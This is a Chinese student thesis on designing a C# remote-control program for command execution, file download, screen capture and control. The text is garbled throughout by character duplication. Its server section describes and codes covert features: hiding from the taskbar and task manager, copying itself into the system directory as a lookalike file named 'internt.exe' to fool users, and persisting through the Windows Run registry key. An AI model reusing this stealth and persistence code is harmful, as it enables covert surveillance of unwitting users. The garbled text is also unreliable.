57、()函數(shù)給套接字分配公認(rèn)的端口(在開發(fā)應(yīng)用程序時(shí),這個(gè)公認(rèn)的端口通常是指定的。例如本程序的端口就指定為7068)。這樣,客戶端和服務(wù)器端就使用同一個(gè)端口來表示服務(wù)器套接字。一旦服務(wù)器將公認(rèn)的端口分配給了套接字,客戶端和服務(wù)器端都能使用Send()和Receive()來發(fā)送和接收數(shù)據(jù)報(bào)直到完成傳輸。然后調(diào)用close()來關(guān)閉套接字。下面具體看從給定套接字的一個(gè)地址開始的每一步工作是怎樣進(jìn)行的。</p><p>
58、 3.1.3.1 創(chuàng)建套接字</p><p> 系統(tǒng)調(diào)用socket()函數(shù)向應(yīng)用程序提供套接字手段時(shí)的聲明如下:</p><p> Public Socket(AddressFamily addressFamily,SocketType socketType,ProtocolType protocolType);</p><p> 該函數(shù)有三個(gè)參數(shù),其中參數(shù)
59、addressFamily指定通信發(fā)生的區(qū)域,在DOS,Windows系統(tǒng)中支持InterNetwork,它指網(wǎng)際網(wǎng)區(qū)域。</p><p> 參數(shù)socketType描述要建立套接字的類型。也就是指是流式套接字還是數(shù)據(jù)報(bào)套接字。</p><p> 參數(shù)ProtocolType說明該套接字使用的協(xié)議,常用的是TCP和UDP兩種協(xié)議。socket()函數(shù)根據(jù)這三個(gè)參數(shù)建立一個(gè)套接字,并將相
60、應(yīng)的資源分配給它,同時(shí)返回一個(gè)套接字類型。</p><p> 3.1.3.2 服務(wù)器端地址綁定</p><p> 當(dāng)一個(gè)套接字用socket()創(chuàng)建以后,bind()將套接字地址(主機(jī)地址和端口)與所創(chuàng)建的套接字編號(hào)聯(lián)系起來,即將名字賦予套接字。bind()聲明如下:</p><p> Socket Bind(EndPoint localEP);</p&
61、gt;<p> bind()函數(shù)只有一個(gè)參數(shù)EndPoint類型。它的原型是IPEndPoint (long IpAddress,int port);參數(shù)IpAddress是賦給套接字的本地地址。參數(shù)port指套接字監(jiān)聽的端口。</p><p> 綁定地址之后,就可以開始監(jiān)聽(listen)并進(jìn)入等待連接(accept)狀態(tài)。</p><p> 3.1.3.3 建立套接
62、字連接</p><p> 建立套接字連接的請(qǐng)求來自客戶端,客戶端用到的函數(shù)是connect(),服務(wù)器用到的函數(shù)是accept()。connect()函數(shù)的原型聲明如下:</p><p> Socket Connect(IPEndPoint iep);</p><p> Connect()只有一個(gè)參數(shù)IPEndPoint,IPEndPoint的函數(shù)原型在之前已
63、經(jīng)已經(jīng)介紹過,此處不再贅述。Accept()函數(shù)原型聲明如下:</p><p> Socket Accept();</p><p> 該函數(shù)沒有參數(shù),在做accept函數(shù)調(diào)用前要先調(diào)用listen() ,連接成功,該函數(shù)返回一個(gè)SOCKET類型的值。</p><p> Socket(),bind(),connect(),accept()這四個(gè)套接字系統(tǒng)調(diào)用可以
64、完成一個(gè)完全的通信建立,包括協(xié)議,本地主機(jī)地址和端口,目的地址和端口。socket()指定協(xié)議元,他的用法與是否為客戶機(jī)和服務(wù)器,是否面向連接無關(guān),bind()指定本機(jī)地址和端口號(hào),是面向連接的。服務(wù)器方必須調(diào)用bind()函數(shù)(當(dāng)然,如果用TcpListener類,則另當(dāng)別論);</p><p> 3.1.3.4 數(shù)據(jù)傳輸</p><p> 當(dāng)連接建立以后,就可以開始傳輸數(shù)據(jù)了。通常
65、調(diào)用Send()和Receive()函數(shù)。Send()函數(shù)原型聲明如下:</p><p> int Send(byte[] buffer,int size,SocketFlags socketFlag);這是最常用的,另外還有七個(gè)重載方法,此處就不一一介紹了。</p><p> 該函數(shù)共有三個(gè)參數(shù),其中buffer指要發(fā)送的內(nèi)容(已轉(zhuǎn)為字節(jié)流)。字節(jié)流長度由size指定。socketF
66、lag是傳輸控制方式,如是否發(fā)送帶外數(shù)據(jù)等。函數(shù)返回發(fā)送的總字節(jié)數(shù)。若返回值為0,則說明發(fā)送失敗。</p><p> Receive ()函數(shù)一般在Accept()之后被調(diào)用,當(dāng)沒有連接的時(shí)候,程序阻塞在Listen()函數(shù)處,一旦連接成功,則程序繼續(xù)往下,至Receive()處阻塞,直到客戶端有數(shù)據(jù)發(fā)送過來。其函數(shù)原型聲明如下:</p><p> int Receive(byte[]
67、 buffer,int size,SocketFlags socketFlag);</p><p> 參數(shù)的意義同Send()函數(shù);</p><p> 3.1.3.5 關(guān)閉套接字</p><p> Close()關(guān)閉套接字,并釋放分配給該套接字的資源,其函數(shù)原型為:</p><p> void Close();</p>
68、<p> 該函數(shù)不帶參數(shù),且沒有返回值。</p><p> 3.2 .NET中的Socket編程</p><p> .NET中對(duì)WinSock API函數(shù)進(jìn)行了大量的封裝,主要存在于命名空間System.Net和System.Net.Sockets中。因此在.NET中進(jìn)行Socket編程變得非常的容易。首先,我們需要引進(jìn)上面提到的兩個(gè)命名空間。然后在服務(wù)端進(jìn)行相應(yīng)的編碼:&
69、lt;/p><p> public static Socket a_Socket=new Socket=new Socket</p><p> (AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);</p><p> IPAddress l_strIp=IPAddress.Parse(str
70、ing a_strIp);</p><p> TcpListener listen=new TcpListener (l_strIp,7068); //對(duì)端口7068進(jìn)行監(jiān)聽</p><p> listen.Start();</p><p> a_Socket=listen.AcceptSocket(); //接受連接</p><p>
71、 服務(wù)端的服務(wù)啟動(dòng)后,只要尚未檢測(cè)到連接請(qǐng)求,就會(huì)一直阻塞在listen.Start()處。直至監(jiān)聽到請(qǐng)求,并完成連接。</p><p> 客戶端的編碼則相對(duì)簡單,只要?jiǎng)?chuàng)建套接字,并取得服務(wù)端的ip和相應(yīng)的端口,即可進(jìn)行連接,代碼大致如下:</p><p> IPAddress myIP=IPAddress.Parse(ip);</p><p> IPEnd
72、Point remoteEP=new IPEndPoint (myIP,port);</p><p> Socket c_Socket=new Socket(AddressFamily.InterNetwork,</p><p> SocketType.Stream,ProtocolType.Tcp);</p><p> c_Socket.Connect(re
73、moteEP);</p><p><b> 3.3 客戶端實(shí)現(xiàn)</b></p><p><b> 主要實(shí)現(xiàn)功能:</b></p><p> 1)、通過命令控制,直接在被控端執(zhí)行DOS命令。并返回執(zhí)行結(jié)果。</p><p> 2)、從被控端下載文件至本地。</p><p&g
74、t; 3)、取得被控端屏幕,并進(jìn)行控制。</p><p> 4)、重啟或關(guān)閉被控端計(jì)算機(jī)。</p><p> 5)、查看被控端文件內(nèi)容。</p><p> 3.3.1 客戶端界面設(shè)計(jì)</p><p> 相對(duì)服務(wù)器端(被控端)的設(shè)計(jì),客戶端較為簡單??蛻舳说脑O(shè)計(jì)選用了.NET中的Windows Applications框架。在窗口上添
75、加一些控件。修改相應(yīng)的編輯框?qū)傩?。添加相?yīng)的成員變量。從圖4可以清楚的看到,在未登錄服務(wù)器之前,注銷,直接控屏和發(fā)送按鈕以及要發(fā)送的命令的窗口都是不可用的,同時(shí),本軟件設(shè)置了一個(gè)顯示消息窗口,用來接收服務(wù)器端發(fā)回來的反饋消息。</p><p> 3.3.2 連接遠(yuǎn)程主機(jī)</p><p> 在本軟件設(shè)計(jì)初期,我想到的不是通過指定要連接的計(jì)算機(jī)的IP地址進(jìn)行遠(yuǎn)程的控制連接,而是由軟件自動(dòng)
76、搜索,通過搜索后得到的計(jì)算機(jī)結(jié)果去連接要連接的那臺(tái)計(jì)算機(jī)。但是后來想到,搜索后的結(jié)果不一定有想要連接的那臺(tái)計(jì)算機(jī),而且,自動(dòng)搜索會(huì)具有一定的黑客性質(zhì)。在通過遠(yuǎn)程網(wǎng)絡(luò)控制通信時(shí),先指定要登錄的計(jì)算機(jī)的IP,有針對(duì)性的連接,這樣安全性也好一點(diǎn)。</p><p> 因此,在圖4中的被控端信息欄里就有了IP地址的輸入欄(由于服務(wù)端監(jiān)聽的端口是指定的,因此在客戶端選擇端口根本就沒有意義)。登陸時(shí)。在IP地址欄填入被控端的
77、IP地址,端口號(hào)(本程序的端口設(shè)置為7068),點(diǎn)擊登陸,就可以了。</p><p> 3.3.3 發(fā)送命令</p><p> 系統(tǒng)通信協(xié)議定義:此程序的通信協(xié)議是自定義的。但是,我這邊做得稍微簡單了點(diǎn),因?yàn)镈OS命令本身,就為大部分人所熟悉。我直接用即可,沒必要說自定義個(gè)命令,然后到服務(wù)端再去做相應(yīng)的轉(zhuǎn)換工作,實(shí)在多此一舉。下面我只列出了幾個(gè)用到的非DOS命令,但這些命令,并不是由用
78、戶敲進(jìn)去的,而是程序運(yùn)行過程中,內(nèi)部用到的,對(duì)用戶不透明的命令。</p><p><b> 系統(tǒng)通信協(xié)議</b></p><p> 點(diǎn)擊發(fā)送按鈕時(shí),程序從命令輸入框中取得命令的字符串(string類型),利用Send()函數(shù)來發(fā)送命令。返回的結(jié)果在信息顯示窗口顯示出來。而且,在服務(wù)器端,過濾了“src”、“close”和“download”三種命令(非一般的DOS
79、命令),更有利于服務(wù)器對(duì)客戶端發(fā)送的命令的執(zhí)行。具體詳細(xì)實(shí)現(xiàn)方法可以參閱附錄的源代碼。</p><p> 3.3.4 直接控屏</p><p> 控制屏幕是本程序最主要和最重要的功能模塊,不管是服務(wù)器,還是客戶端,在實(shí)現(xiàn)遠(yuǎn)程屏幕監(jiān)視方面都比較麻煩和復(fù)雜。本程序的遠(yuǎn)程控制屏幕模塊采用了通過服務(wù)器端抓取被控端的桌面和圖形,并且還有捕獲鼠標(biāo)和鍵盤的相應(yīng)函數(shù),一同通過服務(wù)器和客戶端的Socke
80、t連接,發(fā)送到控制端。在控制端,要把抓出來的圖形和鍵盤鼠標(biāo)等相應(yīng)函數(shù)聯(lián)系起來,再捕獲控制端的鼠標(biāo)鍵盤在被控端圖形顯示區(qū)域里的響應(yīng)以及相應(yīng)位置。在通過控制端的操作,通過函數(shù)回應(yīng),發(fā)回到被控端,映射到被控端的相應(yīng)位置。在利用返回的鼠標(biāo)鍵盤的函數(shù)操作,調(diào)用本地的鼠標(biāo)鍵盤的函數(shù)操作,來實(shí)現(xiàn)對(duì)被控端的控制。</p><p> 在實(shí)現(xiàn)控制屏幕功能模塊中,專門建立了一個(gè)屏幕控制窗口類ScreenCtrl,其界面上放置了一個(gè)p
81、ictureBox控件,用于顯示從服務(wù)端接收到的桌面圖像。在窗體加載的事件里創(chuàng)建了新的線程,用來執(zhí)行控屏操作,具體如下:</p><p> private void ScreenCtrlLoad(object sender, EventArgs e)</p><p><b> {</b></p><p><b> try<
82、/b></p><p><b> {</b></p><p> CheckForIllegalCrossThreadCalls=false;</p><p> Thread linkedForServerThread = new Thread(new ParameterizedThreadStart(LinkedForServer)
83、);</p><p><b> //后臺(tái)線程</b></p><p> linkedForServerThread.IsBackground = true;</p><p> linkedForServerThread.Start(_Socket);</p><p><b> }</b>&l
84、t;/p><p> catch (Exception er)</p><p><b> {</b></p><p> MessageBox.Show(this, er.Message, "錯(cuò)誤", MessageBoxButtons.OK, MessageBoxIcon.Error);</p><p&g
85、t;<b> }</b></p><p><b> }</b></p><p> 窗體加載完,并ShowDialog()之后,就會(huì)在pictureBox中顯示接收到的第一張圖片(之后循環(huán)接收后續(xù)圖像數(shù)據(jù)并顯示)。為了響應(yīng)鼠標(biāo)和鍵盤的操作,pictureBox實(shí)現(xiàn)了MouseDown、MouseUp、MouseMove、MouseWheel、
86、MouseClick、MouseDoubleClick、KeyDown等七個(gè)事件。實(shí)現(xiàn)該模塊的流程圖如下所示:</p><p> 有了以上的連接請(qǐng)求,再和服務(wù)器端的設(shè)計(jì)相結(jié)合,就可以實(shí)現(xiàn)對(duì)遠(yuǎn)程計(jì)算機(jī)屏幕的控制了。</p><p><b> 3.3.5 幫助</b></p><p> 幫助功能模塊其實(shí)就是軟件的使用說明。主要介紹軟件的命令。
87、</p><p><b> 3.4 服務(wù)端實(shí)現(xiàn)</b></p><p> 被控端程序是遠(yuǎn)程控制軟件的主體。軟件的具體功能都是在被控制端實(shí)現(xiàn)的,主控端只負(fù)責(zé)傳送要執(zhí)行的命令和顯示返回的結(jié)果。而幾乎所有的操作控制都是在被控端本地實(shí)現(xiàn)的。遠(yuǎn)程控制的被控端要求自動(dòng)運(yùn)行,同時(shí)還應(yīng)該要具有一定的隱藏性,不容易被用戶發(fā)現(xiàn)和關(guān)閉,當(dāng)然,這要在Window任務(wù)管理器里看不到。故界面
88、簡單,并且自動(dòng)改成和系統(tǒng)配置中的名稱相近的名稱。這樣才不容易被用戶發(fā)現(xiàn)。</p><p> 由于服務(wù)端基本不涉及界面操作,而且在服務(wù)啟動(dòng)后,程序是要隱藏運(yùn)行的,因此,其界面就可以做得相對(duì)簡單些了。具體界面如下圖所示: </p><p> 讓程序運(yùn)行時(shí),在任務(wù)管理器中看不到,只要一句話就可以了,如下:</p><p> this.ShowInTaskba
89、r=false;</p><p> 3.4.1 進(jìn)行監(jiān)聽、時(shí)刻準(zhǔn)備連接</p><p> 服務(wù)端Socket從一開始就一直保持監(jiān)聽狀態(tài),等待客戶端的連接請(qǐng)求。</p><p> 3.4.2 程序設(shè)置自動(dòng)運(yùn)行</p><p> 遠(yuǎn)程控制軟件要求被控端程序只手動(dòng)運(yùn)行一次,然后每次計(jì)算機(jī)啟動(dòng)時(shí)自動(dòng)運(yùn)行,而且,一般也要求隱藏運(yùn)行,最好要求被控
90、端的用戶看不到控制端軟件的運(yùn)行,甚至用Ctrl+Alt+Del調(diào)出任務(wù)管理器也看不出來,這樣,被控端就不能關(guān)閉運(yùn)行的遠(yuǎn)程控制程序。</p><p> 本軟件是利用修改注冊(cè)表的方法來實(shí)現(xiàn)程序的自動(dòng)啟動(dòng)的。注冊(cè)表保存系統(tǒng)的軟、硬件及其他與系統(tǒng)配置有關(guān)的重要信息。在計(jì)算機(jī)的系統(tǒng)注冊(cè)表中德子目錄中有一個(gè)目錄,該名稱為:HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\Curr
91、entVersion\Run,只要把要求自動(dòng)運(yùn)行的程序添加到該目錄的一個(gè)子項(xiàng)只要把要求自動(dòng)運(yùn)行的程序添加到該目錄的一個(gè)子項(xiàng)里,就可以實(shí)現(xiàn)該程序的自動(dòng)運(yùn)行了,而且為了迷惑被控端的用戶,可以將程序拷貝到系統(tǒng)目錄下,并且改一個(gè)和系統(tǒng)目錄下相近的名字,如internt.exe具體操作如下:</p><p> 設(shè)置注冊(cè)表的相關(guān)路徑:</p><p> 在C#中進(jìn)行注冊(cè)表操作,需要引入命名空間Mi
92、crosoft.Win32。其中提供了兩個(gè)類RegistryKey和Registry。</p><p> string keyValue="SOFTWARE\\Microsoft\\Windows\\CurrentVersion</p><p><b> \\Run";</b></p><p> SOFTWARE\Mi
93、crosoft\Windows\CurrentVersion\Run,是所有軟件自動(dòng)運(yùn)行的統(tǒng)一鍵值。修改它,就可以注冊(cè)自動(dòng)運(yùn)行了。然后再獲得系統(tǒng)目錄: GetSystemDirectory(SysPath,size);并且把文件拷貝到系統(tǒng)目錄下,改名為internt.exe。這樣就算用戶發(fā)現(xiàn)了這個(gè)文件,也會(huì)誤以為是系統(tǒng)文件而不敢亂刪除。具體實(shí)現(xiàn)如下:</p><p> [DllImport("kern
94、el32")]</p><p> public static extern void GetSystemDirectory(StringBuilder SysDir,int count);</p><p> const int nChars = 128;</p><p> StringBuilder Buff = new StringBuilder(
95、nChars);</p><p> GetSystemDirectory(Buff,nChars);</p><p> string sysDirectory=Buff.ToString()+"\\internt.exe";</p><p> File.Copy(Application.ExecutablePath,sysDirect
96、ory);</p><p> 然后注冊(cè)為自動(dòng)運(yùn)行:注冊(cè)自動(dòng)運(yùn)行要先打開注冊(cè)表</p><p> RegistryKey regKey=Registry.LocalMachine.OpenSubKey(keyValue,</p><p><b> true);</b></p><p> 然后將要自動(dòng)運(yùn)行的程序?qū)懭胱?/p>
97、冊(cè)表內(nèi),如下:</p><p> regKey.SetValue("remoteCtrl",sysDirectory);</p><p> 再添加一下出錯(cuò)處理函數(shù)就可以完成完整的注冊(cè)自動(dòng)運(yùn)行的函數(shù)了;</p><p> 3.4.3 查看文件內(nèi)容</p><p> 一般是指*.txt文件,用type命令即可。如:ty
98、pe D:\file.txt。</p><p> 若是其他格式的文件,則可以下載下來之后再看。</p><p> 3.4.5 文件下載</p><p> 當(dāng)接收到的客戶端命令滿足條件recvStr.Substring(0,8)==</p><p> "DownLoad"時(shí),服務(wù)器端取得客戶端傳過來的文件路徑,并創(chuàng)建
99、文件流,讀文件至一個(gè)字節(jié)數(shù)組,然后發(fā)送至客戶端即可。</p><p> 3.4.6 遠(yuǎn)程屏幕抓取的實(shí)現(xiàn)</p><p> 在遠(yuǎn)程控制的實(shí)踐中,控制端用戶要想知道被控端的用戶在干什么,一般有兩種方法,一種方式是記錄被控端的鍵盤和鼠標(biāo)事件,形成一個(gè)文本文件,然后把文件發(fā)到控制端??刂贫擞脩敉ㄟ^查看文件的方式了解被控端的用戶打開了哪些程序,敲哪些鍵。這樣,雖然知道了用戶的一些操作,但是不直觀
100、,而且查閱起來也不方便。另外,要想讓程序在用戶不知道的情況下去監(jiān)視鍵盤,這個(gè)技術(shù)是非常復(fù)雜的,至少現(xiàn)在的我還做不到。這時(shí),就要用到另一種方式。即在被控端抓取當(dāng)前的屏幕,形成位圖文件,然后把該文件發(fā)送到控制端計(jì)算機(jī)并顯示出來,實(shí)現(xiàn)遠(yuǎn)程屏幕抓取。取得當(dāng)前屏幕圖像的方法如下:</p><p> Image deskImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width
101、, Screen.PrimaryScreen.Bounds.Height,PixelFormat.Format24bppRgb);</p><p> Graphics deskG = Graphics.FromImage(deskImage);</p><p> deskG.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.
102、PrimaryScreen.Bounds.Size);</p><p> Rectangle targRect = new Rectangle(0, 0, 640, 480);</p><p> Image baseImage = new Bitmap(640,480,PixelFormat.Format24bppRgb);</p><p> Graphics
103、 baseG = Graphics.FromImage(baseImage);</p><p> baseG.DrawImage(deskImage, targRect, new Rectangle(0, 0, </p><p> deskImage.Width, deskImage.Height), GraphicsUnit.Pixel);</p><p>
104、 之后將baseImage轉(zhuǎn)換為字節(jié)數(shù)組,傳至客戶端即可。再與鼠標(biāo)鍵盤事件控制相結(jié)合就可以實(shí)現(xiàn)直接屏幕控制了! 客戶端主要是負(fù)責(zé)向服務(wù)端發(fā)出獲取服務(wù)端屏幕圖像數(shù)據(jù)的請(qǐng)求,把從服務(wù)端發(fā)送來的屏幕圖像在本地實(shí)時(shí)地顯示出來;而服務(wù)端主要是負(fù)責(zé)響應(yīng)客戶端的請(qǐng)求并抓取與發(fā)送屏幕圖像。</p><p> 具體實(shí)現(xiàn)的流程圖如下:</p><p> 至此,鼠標(biāo)、鍵盤、屏控等模塊就介紹完了,本系統(tǒng)的實(shí)現(xiàn)
105、也到此為止。</p><p><b> 四 總結(jié)</b></p><p> 在論文寫作中涉及到的技術(shù),我都盡量列出了函數(shù)原型,以幫助理解和應(yīng)用。通過對(duì)此程序的設(shè)計(jì)、編碼,使我加深了對(duì)所學(xué)課程《計(jì)算機(jī)網(wǎng)絡(luò)》的了解,同時(shí)也熟悉了網(wǎng)絡(luò)編程的許多方面,加深了對(duì)系統(tǒng)結(jié)構(gòu)等知識(shí)的了解。熟悉了VC#的網(wǎng)絡(luò)編程以及C++程序、系統(tǒng)API等與.NET的融合。</p>
106、<p> 另外,本程序在直接控屏功能實(shí)現(xiàn)上還有一點(diǎn)問題,由于不管是被控端還是控制端發(fā)送和接受的都是位圖,所以要求的數(shù)據(jù)量就比較大。導(dǎo)致程序在運(yùn)行一段時(shí)間后會(huì)變得越來越慢,直至無法響應(yīng)。而且,在控制端對(duì)被控端的有些操作還不能完全實(shí)現(xiàn),有待于進(jìn)一步完善。尤其是在重啟和關(guān)機(jī)方面,由于程序運(yùn)行于用戶模式,所以有些涉及權(quán)限的操作,都未必能如我們所想的運(yùn)行下去。因此,取得進(jìn)程調(diào)用權(quán)限顯得尤為重要。而這一點(diǎn),我雖然嘗試去做了,但是實(shí)現(xiàn)的
107、并不是很完全,有待進(jìn)一步完善。</p><p><b> 參考文獻(xiàn)</b></p><p> [1] C++程序設(shè)計(jì)教程 H.M.Deitel、P.J.Deitel【美】 著 施平安 譯 清華大學(xué)出版社</p><p> [2] 深入淺出MFC 侯俊杰【臺(tái)】 著 華中理工大學(xué)出版社</p><p>
108、[3] 遠(yuǎn)程控制編程技術(shù) 張友生 編著 電子工業(yè)出版社</p><p> [4] 王達(dá).計(jì)算機(jī)網(wǎng)絡(luò)遠(yuǎn)程控制 [M].北京:清華大學(xué)出版社,2003</p><p> [5] 謝希仁.計(jì)算機(jī)網(wǎng)絡(luò)[M].大連:大連理工大學(xué)出版社,2000</p><p> [6] 劉小輝.網(wǎng)絡(luò)管理[M].北京:人民郵電出版社,2002</p><p>
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 計(jì)算機(jī)遠(yuǎn)程控制畢業(yè)設(shè)計(jì)
- 畢業(yè)設(shè)計(jì)---計(jì)算機(jī)遠(yuǎn)程控制程序設(shè)計(jì)
- 計(jì)算機(jī)遠(yuǎn)程維護(hù)畢業(yè)設(shè)計(jì)
- 計(jì)算機(jī)遠(yuǎn)程控制軟件及應(yīng)用實(shí)踐
- 計(jì)算機(jī)系統(tǒng)遠(yuǎn)程維護(hù)畢業(yè)設(shè)計(jì)
- 計(jì)算機(jī)遠(yuǎn)程控制系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn).pdf
- 計(jì)算機(jī)遠(yuǎn)程控制技術(shù)與方法研究.pdf
- 地下施工機(jī)械計(jì)算機(jī)遠(yuǎn)程控制系統(tǒng)的設(shè)計(jì).pdf
- 計(jì)算機(jī)遠(yuǎn)程控制的總線型智能儀器.pdf
- 基于DDC的計(jì)算機(jī)過程控制遠(yuǎn)程實(shí)驗(yàn)系統(tǒng).pdf
- 基于木馬的計(jì)算機(jī)遠(yuǎn)程控制研究與實(shí)現(xiàn).pdf
- LED顯示屏的計(jì)算機(jī)遠(yuǎn)程控制系統(tǒng).pdf
- 計(jì)算機(jī)網(wǎng)站畢業(yè)設(shè)計(jì)
- 畢業(yè)設(shè)計(jì)-自動(dòng)化遠(yuǎn)程控制類
- 計(jì)算機(jī)學(xué)院網(wǎng)站畢業(yè)設(shè)計(jì)
- 基于RootKit的計(jì)算機(jī)遠(yuǎn)程控制應(yīng)用技術(shù)研究.pdf
- 化工過程計(jì)算機(jī)遠(yuǎn)程控制系統(tǒng)的研究與開發(fā).pdf
- 計(jì)算機(jī)畢業(yè)設(shè)計(jì)外文翻譯
- 基于木馬的計(jì)算機(jī)遠(yuǎn)程控制及隱藏技術(shù)研究.pdf
- 計(jì)算機(jī)電源設(shè)計(jì)【畢業(yè)設(shè)計(jì)】
評(píng)論
0/150
提交評(píng)論